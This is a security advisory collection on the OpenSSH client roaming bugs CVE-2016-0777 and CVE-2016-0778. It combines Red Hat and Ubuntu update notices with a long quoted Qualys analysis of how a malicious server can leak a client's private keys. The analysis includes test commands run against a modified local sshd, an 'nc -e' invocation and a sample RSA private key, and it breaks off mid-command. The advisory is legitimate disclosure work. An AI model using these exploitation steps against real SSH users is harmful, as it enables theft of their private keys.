x86_64: openssh-6.6.1p1-23.el7_2.x86_64.rpm openssh-askpass-6.6.1p1-23.el7_2.x86_64.rpm openssh-clients-6.6.1p1-23.el7_2.x86_64.rpm openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm openssh-keycat-6.6.1p1-23.el7_2.x86_64.rpm openssh-server-6.6.1p1-23.el7_2.x86_64.rpm

Red Hat Enterprise Linux Server Optional (v. 7):

ppc64: openssh-debuginfo-6.6.1p1-23.el7_2.ppc.rpm openssh-debuginfo-6.6.1p1-23.el7_2.ppc64.rpm openssh-ldap-6.6.1p1-23.el7_2.ppc64.rpm openssh-server-sysvinit-6.6.1p1-23.el7_2.ppc64.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.ppc.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.ppc64.rpm

ppc64le: openssh-debuginfo-6.6.1p1-23.el7_2.ppc64le.rpm openssh-ldap-6.6.1p1-23.el7_2.ppc64le.rpm openssh-server-sysvinit-6.6.1p1-23.el7_2.ppc64le.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.ppc64le.rpm

s390x: openssh-debuginfo-6.6.1p1-23.el7_2.s390.rpm openssh-debuginfo-6.6.1p1-23.el7_2.s390x.rpm openssh-ldap-6.6.1p1-23.el7_2.s390x.rpm openssh-server-sysvinit-6.6.1p1-23.el7_2.s390x.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.s390.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.s390x.rpm

x86_64: openssh-debuginfo-6.6.1p1-23.el7_2.i686.rpm openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm openssh-ldap-6.6.1p1-23.el7_2.x86_64.rpm openssh-server-sysvinit-6.6.1p1-23.el7_2.x86_64.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.i686.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.x86_64.rpm

Red Hat Enterprise Linux Workstation (v. 7):

Source: openssh-6.6.1p1-23.el7_2.src.rpm

x86_64: openssh-6.6.1p1-23.el7_2.x86_64.rpm openssh-askpass-6.6.1p1-23.el7_2.x86_64.rpm openssh-clients-6.6.1p1-23.el7_2.x86_64.rpm openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm openssh-keycat-6.6.1p1-23.el7_2.x86_64.rpm openssh-server-6.6.1p1-23.el7_2.x86_64.rpm

Red Hat Enterprise Linux Workstation Optional (v. 7):

x86_64: openssh-debuginfo-6.6.1p1-23.el7_2.i686.rpm openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm openssh-ldap-6.6.1p1-23.el7_2.x86_64.rpm openssh-server-sysvinit-6.6.1p1-23.el7_2.x86_64.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.i686.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.x86_64.rpm

These packages are GPG signed by Red Hat for security. Our key and details on how to verify the signature are available from https://access.redhat.com/security/team/key/

  1. References:

https://access.redhat.com/security/cve/CVE-2016-0777 https://access.redhat.com/security/cve/CVE-2016-0778 https://access.redhat.com/security/updates/classification/#moderate https://access.redhat.com/articles/2123781

  1. Contact:

The Red Hat security contact is secalert@redhat.com. More contact details at https://access.redhat.com/security/team/contact/

Copyright 2016 Red Hat, Inc. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1

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-- RHSA-announce mailing list RHSA-announce@redhat.com https://www.redhat.com/mailman/listinfo/rhsa-announce

Show details on source website
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    "data": "The (1) roaming_read and (2) roaming_write functions in roaming_common.c in the client in OpenSSH 5.x, 6.x, and 7.x before 7.1p2, when certain proxy and forward options are enabled, do not properly maintain connection file descriptors, which allows remote servers to cause a denial of service (heap-based buffer overflow) or possibly have unspecified other impact by requesting many forwardings. OpenSSH client code versions 5.4 through 7.1p1 contains a client information leak vulnerability that could allow an OpenSSH client to leak information not limited to but including private keys, as well as a buffer overflow in certain non-default configurations. In addition, JVNVU#95595627 Then CWE-122 It is published as CWE-122: Heap-based Buffer Overflow http://cwe.mitre.org/data/definitions/122.htmlA large amount of transfer is requested by the remote server, resulting in a denial of service ( Heap-based buffer overflow ) It can be unspecified, such as being put into a state. OpenSSH is prone to a heap-based buffer-overflow vulnerability. \nSuccessful exploits may allow attackers to execute arbitrary code in the  context of the affected application. Failed attacks will cause  denial-of-service conditions. OpenSSH (OpenBSD Secure Shell) is a set of connection tools for securely accessing remote computers maintained by the OpenBSD project team. This tool is an open source implementation of the SSH protocol, supports encryption of all transmissions, and can effectively prevent eavesdropping, connection hijacking, and other network-level attacks. The following versions are affected: OpenSSH 5.x, 6.x, 7.x prior to 7.1p2. ============================================================================\nUbuntu Security Notice USN-2869-1\nJanuary 14, 2016\n\nopenssh vulnerabilities\n============================================================================\n\nA security issue affects these releases of Ubuntu and its derivatives:\n\n- Ubuntu 15.10\n- Ubuntu 15.04\n- Ubuntu 14.04 LTS\n- Ubuntu 12.04 LTS\n\nSummary:\n\nOpenSSH could be made to expose sensitive information over the network. \n\nUpdate instructions:\n\nThe problem can be corrected by updating your system to the following\npackage versions:\n\nUbuntu 15.10:\n  openssh-client                  1:6.9p1-2ubuntu0.1\n\nUbuntu 15.04:\n  openssh-client                  1:6.7p1-5ubuntu1.4\n\nUbuntu 14.04 LTS:\n  openssh-client                  1:6.6p1-2ubuntu2.4\n\nUbuntu 12.04 LTS:\n  openssh-client                  1:5.9p1-5ubuntu1.8\n\nIn general, a standard system update will make all the necessary changes. \nQualys Security Advisory\n\nRoaming through the OpenSSH client: CVE-2016-0777 and CVE-2016-0778\n\n\n========================================================================\nContents\n========================================================================\n\nSummary\nInformation Leak (CVE-2016-0777)\n- Analysis\n- Private Key Disclosure\n- Mitigating Factors\n- Examples\nBuffer Overflow (CVE-2016-0778)\n- Analysis\n- Mitigating Factors\n- File Descriptor Leak\nAcknowledgments\nProof Of Concept\n\n\n========================================================================\nSummary\n========================================================================\n\nSince version 5.4 (released on March 8, 2010), the OpenSSH client\nsupports an undocumented feature called roaming: if the connection to an\nSSH server breaks unexpectedly, and if the server supports roaming as\nwell, the client is able to reconnect to the server and resume the\nsuspended SSH session. This information leak may have already been exploited in\nthe wild by sophisticated attackers, and high-profile sites or users may\nneed to regenerate their SSH keys accordingly. \n\nThe buffer overflow, on the other hand, is present in the default\nconfiguration of the OpenSSH client but its exploitation requires two\nnon-default options: a ProxyCommand, and either ForwardAgent (-A) or\nForwardX11 (-X). This buffer overflow is therefore unlikely to have any\nreal-world impact, but provides a particularly interesting case study. \n\nAll OpenSSH versions between 5.4 and 7.1 are vulnerable, but can be\neasily hot-fixed by setting the undocumented option \"UseRoaming\" to\n\"no\", as detailed in the Mitigating Factors section. OpenSSH version\n7.1p2 (released on January 14, 2016) disables roaming by default. \n\n\n========================================================================\nInformation Leak (CVE-2016-0777)\n========================================================================\n\n------------------------------------------------------------------------\nAnalysis\n------------------------------------------------------------------------\n\nIf the OpenSSH client connects to an SSH server that offers the key\nexchange algorithm \"resume@appgate.com\", it sends the global request\n\"roaming@appgate.com\" to the server, after successful authentication. If\nthis request is accepted, the client allocates a roaming buffer out_buf,\nby calling malloc() (and not calloc()) with an out_buf_size that is\narbitrarily chosen by the server:\n\n 63 void\n 64 roaming_reply(int type, u_int32_t seq, void *ctxt)\n 65 {\n 66         if (type == SSH2_MSG_REQUEST_FAILURE) {\n 67                 logit(\"Server denied roaming\");\n 68                 return;\n 69         }\n 70         verbose(\"Roaming enabled\");\n .. \n 75         set_out_buffer_size(packet_get_int() + get_snd_buf_size());\n .. \n 77 }\n\n 40 static size_t out_buf_size = 0;\n 41 static char *out_buf = NULL;\n 42 static size_t out_start;\n 43 static size_t out_last;\n .. \n 75 void\n 76 set_out_buffer_size(size_t size)\n 77 {\n 78         if (size == 0 || size \u003e MAX_ROAMBUF)\n 79                 fatal(\"%s: bad buffer size %lu\", __func__, (u_long)size);\n 80         /*\n 81          * The buffer size can only be set once and the buffer will live\n 82          * as long as the session lives. \n 83          */\n 84         if (out_buf == NULL) {\n 85                 out_buf_size = size;\n 86                 out_buf = xmalloc(size);\n 87                 out_start = 0;\n 88                 out_last = 0;\n 89         }\n 90 }\n\nThe OpenSSH client\u0027s roaming_write() function, a simple wrapper around\nwrite(), calls wait_for_roaming_reconnect() to transparently reconnect\nto the SSH server after a disconnection. It also calls buf_append() to\ncopy the data sent to the server into the roaming buffer out_buf. During\na reconnection, the client is therefore able to resend the data that was\nnot received by the server because of the disconnection:\n\n198 void\n199 resend_bytes(int fd, u_int64_t *offset)\n200 {\n201         size_t available, needed;\n202\n203         if (out_start \u003c out_last)\n204                 available = out_last - out_start;\n205         else\n206                 available = out_buf_size;\n207         needed = write_bytes - *offset;\n208         debug3(\"resend_bytes: resend %lu bytes from %llu\",\n209             (unsigned long)needed, (unsigned long long)*offset);\n210         if (needed \u003e available)\n211                 fatal(\"Needed to resend more data than in the cache\");\n212         if (out_last \u003c needed) {\n213                 int chunkend = needed - out_last;\n214                 atomicio(vwrite, fd, out_buf + out_buf_size - chunkend,\n215                     chunkend);\n216                 atomicio(vwrite, fd, out_buf, out_last);\n217         } else {\n218                 atomicio(vwrite, fd, out_buf + (out_last - needed), needed);\n219         }\n220 }\n\nIn the OpenSSH client\u0027s roaming buffer out_buf, the most recent data\nsent to the server begins at index out_start and ends at index out_last. \nAs soon as this circular buffer is full, buf_append() maintains the\ninvariant \"out_start = out_last + 1\", and consequently three different\ncases have to be considered:\n\n- \"out_start \u003c out_last\" (lines 203-204): out_buf is not full yet (and\n  out_start is still equal to 0), and the amount of data available in\n  out_buf is indeed \"out_last - out_start\";\n\n- \"out_start \u003e out_last\" (lines 205-206): out_buf is full (and out_start\n  is exactly equal to \"out_last + 1\"), and the amount of data available\n  in out_buf is indeed the entire out_buf_size;\n\n- \"out_start == out_last\" (lines 205-206): no data was ever written to\n  out_buf (and both out_start and out_last are still equal to 0) because\n  no data was ever sent to the server after roaming_reply() was called,\n  but the client sends (leaks) the entire uninitialized out_buf to the\n  server (line 214), as if out_buf_size bytes of data were available. \n\nIn order to successfully exploit this information leak and retrieve\nsensitive information from the OpenSSH client\u0027s memory (for example,\nprivate SSH keys, or memory addresses useful for further exploitation),\na malicious server needs to:\n\n- Massage the client\u0027s heap before roaming_reply() malloc()ates out_buf,\n  and force malloc() to return a previously free()d but uncleansed chunk\n  of sensitive information. The simple proof-of-concept in this advisory\n  does not implement heap massaging. \n\n- Guess the client\u0027s get_snd_buf_size() in order to precisely control\n  out_buf_size. OpenSSH \u003c 6.0 accepts out_buf sizes in the range (0,4G),\n  and OpenSSH \u003e= 6.0 accepts sizes in the range (0,2M]. Sizes smaller\n  than get_snd_buf_size() are attainable because roaming_reply() does\n  not protect \"packet_get_int() + get_snd_buf_size()\" against integer\n  wraparound. The proof-of-concept in this advisory attempts to derive\n  the client\u0027s get_snd_buf_size() from the get_recv_buf_size() sent by\n  the client to the server, and simply chooses a random out_buf_size. \n\n- Advise the client\u0027s resend_bytes() that all \"available\" bytes (the\n  entire out_buf_size) are \"needed\" by the server, even if fewer bytes\n  were actually written by the client to the server (because the server\n  controls the \"*offset\" argument, and resend_bytes() does not protect\n  \"needed = write_bytes - *offset\" against integer wraparound). \n\nFinally, a brief digression on a minor bug in resend_bytes(): on 64-bit\nsystems, where \"chunkend\" is a 32-bit signed integer, but \"out_buf\" and\n\"out_buf_size\" are 64-bit variables, \"out_buf + out_buf_size - chunkend\"\nmay point out-of-bounds, if chunkend is negative (if out_buf_size is in\nthe [2G,4G) range). This negative chunkend is then converted to a 64-bit\nsize_t greater than SSIZE_MAX when passed to atomicio(), and eventually\nreturns EFAULT when passed to write() (at least on Linux and OpenBSD),\nthus avoiding an out-of-bounds read from the OpenSSH client\u0027s memory. \n\n------------------------------------------------------------------------\nPrivate Key Disclosure\n------------------------------------------------------------------------\n\nWe initially believed that this information leak in the OpenSSH client\u0027s\nroaming code would not allow a malicious SSH server to steal the\nclient\u0027s private keys, because:\n\n- the information leaked is not read from out-of-bounds memory, but from\n  a previously free()d chunk of memory that is recycled to malloc()ate\n  the client\u0027s roaming buffer out_buf;\n\n- private keys are loaded from disk into memory and freed by key_free()\n  (old API, OpenSSH \u003c 6.7) or sshkey_free() (new API, OpenSSH \u003e= 6.7),\n  and both functions properly cleanse the private keys\u0027 memory with\n  OPENSSL_cleanse() or explicit_bzero();\n\n- temporary copies of in-memory private keys are freed by buffer_free()\n  (old API) or sshbuf_free() (new API), and both functions attempt to\n  cleanse these copies with memset() or bzero(). \n\nHowever, we eventually identified three reasons why, in our experiments,\nwe were able to partially or completely retrieve the OpenSSH client\u0027s\nprivate keys through this information leak (depending on the client\u0027s\nversion, compiler, operating system, heap layout, and private keys):\n\n(besides these three reasons, other reasons may exist, as suggested by\nthe CentOS and Fedora examples at the end of this section)\n\n1. If a private SSH key is loaded from disk into memory by fopen() (or\nfdopen()), fgets(), and fclose(), a partial or complete copy of this\nprivate key may remain uncleansed in memory. Indeed, these functions\nmanage their own internal buffers, and whether these buffers are\ncleansed or not depends on the OpenSSH client\u0027s libc (stdio)\nimplementation, but not on OpenSSH itself. \n\n- In all vulnerable OpenSSH versions, SSH\u0027s main() function calls\n  load_public_identity_files(), which loads the client\u0027s public keys\n  with fopen(), fgets(), and fclose(). Unfortunately, the private keys\n  (without the \".pub\" suffix) are loaded first and then discarded, but\n  nonetheless buffered in memory by the stdio functions. \n\n- In OpenSSH versions \u003c= 5.6, the load_identity_file() function (called\n  by the client\u0027s public-key authentication method) loads a private key\n  with fdopen() and PEM_read_PrivateKey(), an OpenSSL function that uses\n  fgets() and hence internal stdio buffering. \n\nInternal stdio buffering is the most severe of the three problems\ndiscussed in this section, although GNU/Linux is not affected because\nthe glibc mmap()s and munmap()s (and therefore cleanses) stdio buffers. \nBSD-based systems, on the other hand, are severely affected because they\nsimply malloc()ate and free() stdio buffers. For interesting comments on\nthis issue:\n\nhttps://www.securecoding.cert.org/confluence/display/c/MEM06-C.+Ensure+that+sensitive+data+is+not+written+out+to+disk\n\n2. In OpenSSH versions \u003e= 5.9, the client\u0027s load_identity_file()\nfunction (called by the public-key authentication method) read()s a\nprivate key in 1024-byte chunks that are appended to a growing buffer (a\nrealloc()ating buffer) with buffer_append() (old API) or sshbuf_put()\n(new API). Unfortunately, the repeated calls to realloc() may leave\npartial copies of the private key uncleansed in memory. \n\n- In OpenSSH \u003c 6.7 (old API), the initial size of such a growing buffer\n  is 4096 bytes: if a private-key file is larger than 4K, a partial copy\n  of this private key may remain uncleansed in memory (a 3K copy in a 4K\n  buffer). Fortunately, only the file of a very large RSA key (for\n  example, an 8192-bit RSA key) can exceed 4K. \n\n- In OpenSSH \u003e= 6.7 (new API), the initial size of a growing buffer is\n  256 bytes: if a private-key file is larger than 1K (the size passed to\n  read()), a partial copy of this private key may remain uncleansed in\n  memory (a 1K copy in a 1K buffer). For example, the file of a\n  default-sized 2048-bit RSA key exceeds 1K. \n\nFor more information on this issue:\n\nhttps://www.securecoding.cert.org/confluence/display/c/MEM03-C.+Clear+sensitive+information+stored+in+reusable+resources\n\nhttps://cwe.mitre.org/data/definitions/244.html\n\n3. An OpenSSH growing-buffer that holds a private key is eventually\nfreed by buffer_free() (old API) or sshbuf_free() (new API), and both\nfunctions attempt to cleanse the buffer with memset() or bzero() before\nthey call free(). Unfortunately, an optimizing compiler may remove this\nmemset() or bzero() call, because the buffer is written to, but never\nagain read from (an optimization known as Dead Store Elimination). \n\nOpenSSH 6.6 is the only version that is not affected, because it calls\nexplicit_bzero() instead of memset() or bzero(). \n\nDead Store Elimination is the least severe of the three problems\nexplored in this section, because older GCC versions do not remove the\nmemset() or bzero() call made by buffer_free() or sshbuf_free(). GCC 5\nand Clang/LLVM do, however, remove it. For detailed discussions of this\nissue:\n\nhttps://www.securecoding.cert.org/confluence/display/c/MSC06-C.+Beware+of+compiler+optimizations\n\nhttps://cwe.mitre.org/data/definitions/14.html\n\nhttps://sourceware.org/ml/libc-alpha/2014-12/threads.html#00506\n\nFinally, for these three reasons, passphrase-encrypted SSH keys are\nleaked in their encrypted form, but an attacker may attempt to crack the\npassphrase offline. On the other hand, SSH keys that are available only\nthrough an authentication agent are never leaked, in any form. The vulnerable roaming code can be permanently disabled by adding the\nundocumented option \"UseRoaming no\" to the system-wide configuration\nfile (usually /etc/ssh/ssh_config), or per-user configuration file\n(~/.ssh/config), or command-line (-o \"UseRoaming no\"). \n\n2. If an OpenSSH client is disconnected from an SSH server that offers\nroaming, it prints \"[connection suspended, press return to resume]\" on\nstderr, and waits for \u0027\\n\u0027 or \u0027\\r\u0027 on stdin (and not on the controlling\nterminal) before it reconnects to the server; advanced users may become\nsuspicious and press Control-C or Control-Z instead, thus avoiding the\ninformation leak:\n\n# \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -p 222 127.0.0.1\n[connection suspended, press return to resume]^Z\n[1]+  Stopped                 /usr/bin/ssh -p 222 127.0.0.1\n\nHowever, SSH commands that use the local stdin to transfer data to the\nremote server are bound to trigger this reconnection automatically (upon\nreading a \u0027\\n\u0027 or \u0027\\r\u0027 from stdin). Moreover, these non-interactive SSH\ncommands (for example, backup scripts and cron jobs) commonly employ\npublic-key authentication and are therefore perfect targets for this\ninformation leak:\n\n$ ls -l /etc/passwd | /usr/bin/ssh -p 222 127.0.0.1 \"cat \u003e /tmp/passwd.ls\"\n[connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][exiting]\n\n$ tar -cf - /etc/passwd | /usr/bin/ssh -p 222 127.0.0.1 \"cat \u003e /tmp/passwd.tar\"\ntar: Removing leading `/\u0027 from member names\n[connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][connection resumed]\n... \n[connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][exiting]\n\nSimilarly, the SCP client uses the SSH client\u0027s stdin and stdout to\ntransfer data, and can be forced by a malicious SSH server to output a\ncontrol record that ends in \u0027\\n\u0027 (an error message in server-to-client\nmode, or file permissions in client-to-server mode); this \u0027\\n\u0027 is then\nread from stdin by the fgetc() call in wait_for_roaming_reconnect(), and\ntriggers an automatic reconnection that allows the information leak to\nbe exploited without user interaction:\n\n# env ROAMING=\"scp_mode sleep:1\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/scp -P 222 127.0.0.1:/etc/passwd /tmp\n$ [connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][exiting]\n\n$ /usr/bin/scp -P 222 /etc/passwd 127.0.0.1:/tmp\n[connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][exiting]\nlost connection\n\n3. Although a man-in-the-middle attacker can reset the TCP connection\nbetween an OpenSSH client and an OpenSSH server (which does not support\nroaming), it cannot exploit the information leak without breaking server\nhost authentication or integrity protection, because it needs to:\n\n- first, append the \"resume@appgate.com\" algorithm name to the server\u0027s\n  initial key exchange message;\n\n- second, in response to the client\u0027s \"roaming@appgate.com\" request,\n  change the server\u0027s reply from failure to success. \n\nIn conclusion, an attacker who wishes to exploit this information leak\nmust convince its target OpenSSH client to connect to a malicious server\n(an unlikely scenario), or compromise a trusted server (a more likely\nscenario, for a determined attacker). \n\n4. In the client, wait_for_roaming_reconnect()\ncalls ssh_connect(), the same function that successfully established the\nfirst connection to the server; this function supports four different\nconnection methods, but each method contains a bug and may fail to\nestablish a second connection to the server:\n\n- In OpenSSH \u003e= 6.5 (released on January 30, 2014), the default\n  ssh_connect_direct() method (a simple TCP connection) is called by\n  wait_for_roaming_reconnect() with a NULL aitop argument, which makes\n  it impossible for the client to reconnect to the server:\n\n 418 static int\n 419 ssh_connect_direct(const char *host, struct addrinfo *aitop,\n ... \n 424         int sock = -1, attempt;\n 425         char ntop[NI_MAXHOST], strport[NI_MAXSERV];\n ... \n 430         for (attempt = 0; attempt \u003c connection_attempts; attempt++) {\n ... \n 440                 for (ai = aitop; ai; ai = ai-\u003eai_next) {\n ... \n 470                 }\n 471                 if (sock != -1)\n 472                         break;  /* Successful connection. */\n 473         }\n 474\n 475         /* Return failure if we didn\u0027t get a successful connection. */\n 476         if (sock == -1) {\n 477                 error(\"ssh: connect to host %s port %s: %s\",\n 478                     host, strport, strerror(errno));\n 479                 return (-1);\n 480         }\n\n  Incidentally, this error() call displays stack memory from the\n  uninitialized strport[] array, a byproduct of the NULL aitop:\n\n$ /usr/bin/ssh -V\nOpenSSH_6.8, LibreSSL 2.1\n\n$ /usr/bin/ssh -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume]ssh: connect to host 127.0.0.1 port \\300\\350\\226\\373\\341: Bad file descriptor\n[reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \\300\\350\\226\\373\\341: Bad file descriptor\n[reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \\300\\350\\226\\373\\341: Bad file descriptor\n[reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \\300\\350\\226\\373\\341: Bad file descriptor\n\n- The special ProxyCommand \"-\" communicates with the server through the\n  client\u0027s stdin and stdout, but these file descriptors are close()d by\n  packet_backup_state() at the beginning of wait_for_roaming_reconnect()\n  and are never reopened again, making it impossible for the client to\n  reconnect to the server. Moreover, the fgetc() that waits for \u0027\\n\u0027 or\n  \u0027\\r\u0027 on the closed stdin returns EOF and forces the client to exit():\n\n$ /usr/bin/ssh -V\nOpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013\n\n$ /usr/bin/nc -e \"/usr/bin/ssh -o ProxyCommand=- -p 222 127.0.0.1\" 127.0.0.1 222\nPseudo-terminal will not be allocated because stdin is not a terminal. \nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume][exiting]\n\n- The method ssh_proxy_fdpass_connect() fork()s a ProxyCommand that\n  passes a connected file descriptor back to the client, but it calls\n  fatal() while reconnecting to the server, because waitpid() returns\n  ECHILD; indeed, the SIGCHLD handler (installed by SSH\u0027s main() after\n  the first successful connection to the server) calls waitpid() before\n  ssh_proxy_fdpass_connect() does:\n\n1782 static void\n1783 main_sigchld_handler(int sig)\n1784 {\n.... \n1789         while ((pid = waitpid(-1, \u0026status, WNOHANG)) \u003e 0 ||\n1790             (pid \u003c 0 \u0026\u0026 errno == EINTR))\n1791                 ;\n1792\n1793         signal(sig, main_sigchld_handler);\n.... \n1795 }\n\n 101 static int\n 102 ssh_proxy_fdpass_connect(const char *host, u_short port,\n 103     const char *proxy_command)\n 104 {\n ... \n 121         /* Fork and execute the proxy command. */\n 122         if ((pid = fork()) == 0) {\n ... \n 157         }\n 158         /* Parent. */\n ... \n 167         while (waitpid(pid, NULL, 0) == -1)\n 168                 if (errno != EINTR)\n 169                         fatal(\"Couldn\u0027t wait for child: %s\", strerror(errno));\n\n$ /usr/bin/ssh -V\nOpenSSH_6.6.1p1, OpenSSL 1.0.1p-freebsd 9 Jul 2015\n\n$ /usr/bin/ssh -o ProxyUseFdpass=yes -o ProxyCommand=\"/usr/bin/nc -F %h %p\" -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume]Couldn\u0027t wait for child: No child processes\n\n- The method ssh_proxy_connect() fork()s a standard ProxyCommand that\n  connects the client to the server, but if a disconnection occurs, and\n  the SIGCHLD of the terminated ProxyCommand is caught while fgetc() is\n  waiting for a \u0027\\n\u0027 or \u0027\\r\u0027 on stdin, EOF is returned (the underlying\n  read() returns EINTR) and the client exit()s before it can reconnect\n  to the server:\n\n$ /usr/bin/ssh -V\nOpenSSH_6.6.1p1 Ubuntu-2ubuntu2, OpenSSL 1.0.1f 6 Jan 2014\n\n$ /usr/bin/ssh -o ProxyCommand=\"/bin/nc %h %p\" -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume][exiting]\n\n  This behavior is intriguing, because (at least on Linux and BSD) the\n  signal() call that installed the main_sigchld_handler() is supposed to\n  be equivalent to a sigaction() call with SA_RESTART. However, portable\n  versions of OpenSSH override signal() with mysignal(), a function that\n  calls sigaction() without SA_RESTART. \n\n  This last mitigating factor is actually a race-condition bug that\n  depends on the ProxyCommand itself: for example, the client never\n  fails to reconnect to the server when using Socat as a ProxyCommand,\n  but fails occasionally when using Netcat. \n\n------------------------------------------------------------------------\nPrivate Key Disclosure example: FreeBSD 10.0, 2048-bit RSA key\n------------------------------------------------------------------------\n\n$ head -n 1 /etc/motd\nFreeBSD 10.0-RELEASE (GENERIC) #0 r260789: Thu Jan 16 22:34:59 UTC 2014\n\n$ /usr/bin/ssh -V\nOpenSSH_6.4p1, OpenSSL 1.0.1e-freebsd 11 Feb 2013\n\n$ cat ~/.ssh/id_rsa\n-----BEGIN RSA PRIVATE KEY-----\nMIIEpQIBAAKCAQEA3GKWpUCOmK05ybfhnXTTzWAXs5A0FufmqlihRKqKHyflYXhr\nqlcdPH4PvbAhkc8cUlK4c/dZxNiyD04Og1MVwVp2kWp9ZDOnuLhTR2mTxYjEy+1T\nM3/74toaLj28kwbQjTPKhENMlqe+QVH7pH3kdun92SEqzKr7Pjx4/2YzAbAlZpT0\n9Zj/bOgA7KYWfjvJ0E9QQZaY68nEB4+vIK3agB6+JT6lFjVnSFYiNQJTPVedhisd\na3KoK33SmtURvSgSLBqO6e9uPzV87nMfnSUsYXeej6yJTR0br44q+3paJ7ohhFxD\nzzqpKnK99F0uKcgrjc3rF1EnlyexIDohqvrxEQIDAQABAoIBAQDHvAJUGsIh1T0+\neIzdq3gZ9jEE6HiNGfeQA2uFVBqCSiI1yHGrm/A/VvDlNa/2+gHtClNppo+RO+OE\nw3Wbx70708UJ3b1vBvHHFCdF3YWzzVSujZSOZDvhSVHY/tLdXZu9nWa5oFTVZYmk\noayzU/WvYDpUgx7LB1tU+HGg5vrrVw6vLPDX77SIJcKuqb9gjrPCWsURoVzkWoWc\nbvba18loP+bZskRLQ/eHuMpO5ra23QPRmb0p/LARtBW4LMFTkvytsDrmg1OhKg4C\nvcbTu2WOK1BqeLepNzTSg2wHtvX8DRUJvYBXKosGbaoIOFZvohoqSzKFs+R3L3GW\nhZz9MxCRAoGBAPITboUDMRmvUblU58VW85f1cmPvrWtFu7XbRjOi3O/PcyT9HyoW\nbc3HIg1k4XgHk5+F9r5+eU1CiUUd8bOnwMEUTkyr7YH/es+O2P+UoypbpPCfEzEd\nmuzCFN1kwr4RJ5RG7ygxF8/h/toXua1nv/5pruro+G+NI2niDtaPkLdfAoGBAOkP\nwn7j8F51DCxeXbp/nKc4xtuuciQXFZSz8qV/gvAsHzKjtpmB+ghPFbH+T3vvDCGF\niKELCHLdE3vvqbFIkjoBYbYwJ22m4y2V5HVL/mP5lCNWiRhRyXZ7/2dd2Jmk8jrw\nsj/akWIzXWyRlPDWM19gnHRKP4Edou/Kv9Hp2V2PAoGBAInVzqQmARsi3GGumpme\nvOzVcOC+Y/wkpJET3ZEhNrPFZ0a0ab5JLxRwQk9mFYuGpOO8H5av5Nm8/PRB7JHi\n/rnxmfPGIWJX2dG9AInmVFGWBQCNUxwwQzpz9/VnngsjMWoYSayU534SrE36HFtE\nK+nsuxA+vtalgniToudAr6H5AoGADIkZeAPAmQQIrJZCylY00dW+9G/0mbZYJdBr\n+7TZERv+bZXaq3UPQsUmMJWyJsNbzq3FBIx4Xt0/QApLAUsa+l26qLb8V+yDCZ+n\nUxvMSgpRinkMFK/Je0L+IMwua00w7jSmEcMq0LJckwtdjHqo9rdWkvavZb13Vxh7\nqsm+NEcCgYEA3KEbTiOU8Ynhv96JD6jDwnSq5YtuhmQnDuHPxojgxSafJOuISI11\n1+xJgEALo8QBQT441QSLdPL1ZNpxoBVAJ2a23OJ/Sp8dXCKHjBK/kSdW3U8SJPjV\npmvQ0UqnUpUj0h4CVxUco4C906qZSO5Cemu6g6smXch1BCUnY0TcOgs=\n-----END RSA PRIVATE KEY-----\n\n# env ROAMING=\"client_out_buf_size:1280\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume][connection resumed]\n\n# cat 